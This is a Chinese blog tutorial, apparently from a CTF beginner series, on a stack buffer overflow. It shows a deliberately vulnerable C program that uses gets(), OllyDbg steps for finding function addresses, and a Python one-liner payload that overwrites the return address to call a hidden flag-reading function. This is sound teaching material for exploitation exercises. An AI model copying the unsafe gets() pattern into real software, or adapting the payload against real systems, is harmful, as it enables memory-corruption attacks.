栈溢出覆盖返回地址

函数的调用过程:如果 A() 调用 B(),A() 先将 B() 的参数逆序压栈,然后将调用完 B() 后的下一条指令的地址 EIP 压栈。进入 B() 后,B() 先将 A() 的栈底 EBP 压栈,然后建立自己的栈。B() 结束后,可将 A() 的 EBP 弹出,恢复 A() 的栈底,然后弹出 A() 的下一条指令地址 EIP,A() 得以继续执行。

OllyDbg 用法:

  • F2 断点
  • F9 跳到断点
  • F7 单步执行,进入函数内部
  • F8 单步执行,跳过函数

比赛中不会给出源码:

#include<stdio.h>
#include<stdlib.h>

int stack_over_flow()
{
		char Password[16] = { 0, };
		gets(Password);
		return 0;
}
void readfile()
{
		FILE* fp;
		char FileStr[20] = { 0, };
		printf("You've got the flag:\n");
		if (fp = fopen("flag.txt", "r"))
		{
			fgets(FileStr, 48, fp);
			printf("%s\n", FileStr);
			fclose(fp);
		}
		else
			printf("File error!\n");
		exit(0);
}
int main()
{
		printf("Welcome!\n");
		printf("Please input your password(within 8 characters):\n");
		stack_over_flow();
		printf("Good Bye!\n");
		return 0;
}

漏洞在函数 stack_over_flow()的 gets()函数中,缓冲区只有 16 个字节,如果输入长度大于 16,将覆盖很多重要数据包括 stack_over_flow()函数的返回地址(需要学习栈相关内容)。远程服务器运行的例程的目录下有一个 flag.txt 文件,存放 flag,而程序中已经写好了读取的代码 readfile()但并没有被调用。我们通过缓冲区溢出覆盖到 stack_over_flow()函数的返回地址,让其返回到 readfile()就可以拿到 flag。

先用 IDA 按 F5 查看反编译。

用 OllyDBG 打开编译后的 c.exe:
在这里插入图片描述
F7 进入 CALL c.00401014

在这里插入图片描述
F8 继续
在这里插入图片描述
进入到 main() ,入口地址是 0x00401180

F8 一直到达 CALL c.0x0040100A 行后,F7 进入

在这里插入图片描述
在这里插入图片描述
双击 JMP c.readfile,查看 readfile() 的入口地址为:0x004010A0

继续 F8
在这里插入图片描述
进入到 stack_over_flow() ,入口地址是 0x00401040

F8 到 CALL c.gets,输入 8 个 ‘A’(16 进制为 0x41),栈为:
在这里插入图片描述
20 个字节中:

以下 16 字节为栈空间:
41414141
41414141
00000000
00000000

0019FF40 为之前保存的 ebp

004011B7 为函数的返回地址

可以输入 20 个 A,然后用 readfile() 的入口地址覆盖返回地址 004011B7,这样当程序返回时就从栈中取出 readfile() 的入口地址作为 EIP 寄存器的内容,于是程序跳到了 EIP 处,读取文件显示 flag。

在这里插入图片描述
找到 readfile() ,其入口地址,是 0x004010A0

可借助 Python 输出重定向输入一些不能从键盘打印出的字符:

python -c "print 'A'*20+'\xA0'+'\x10'+'\x40'+'\x00'" | C:\Users\yjp\Desktop\c\Debug\c.exe
  • 管道符号:| 用来把 Python 输出重定向到 c.exe 的输入。
  • 20 个 A:填充栈内空间。
  • 004010A0:readfile() 的入口地址。因为是 16 进制,所以有 ‘\x’,intel CPU 采用小端序,填的位置正好位于 stack_over_flow() 的返回地址处,相当于修改了这一地址。

在这里插入图片描述
由于没有写 flag.txt,所以会出现 File error!

参考
天枢 CTF-PWN 入门指导与学习路线
浅析函数调用栈 https://www.cnblogs.com/damumu/p/7320418.html

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值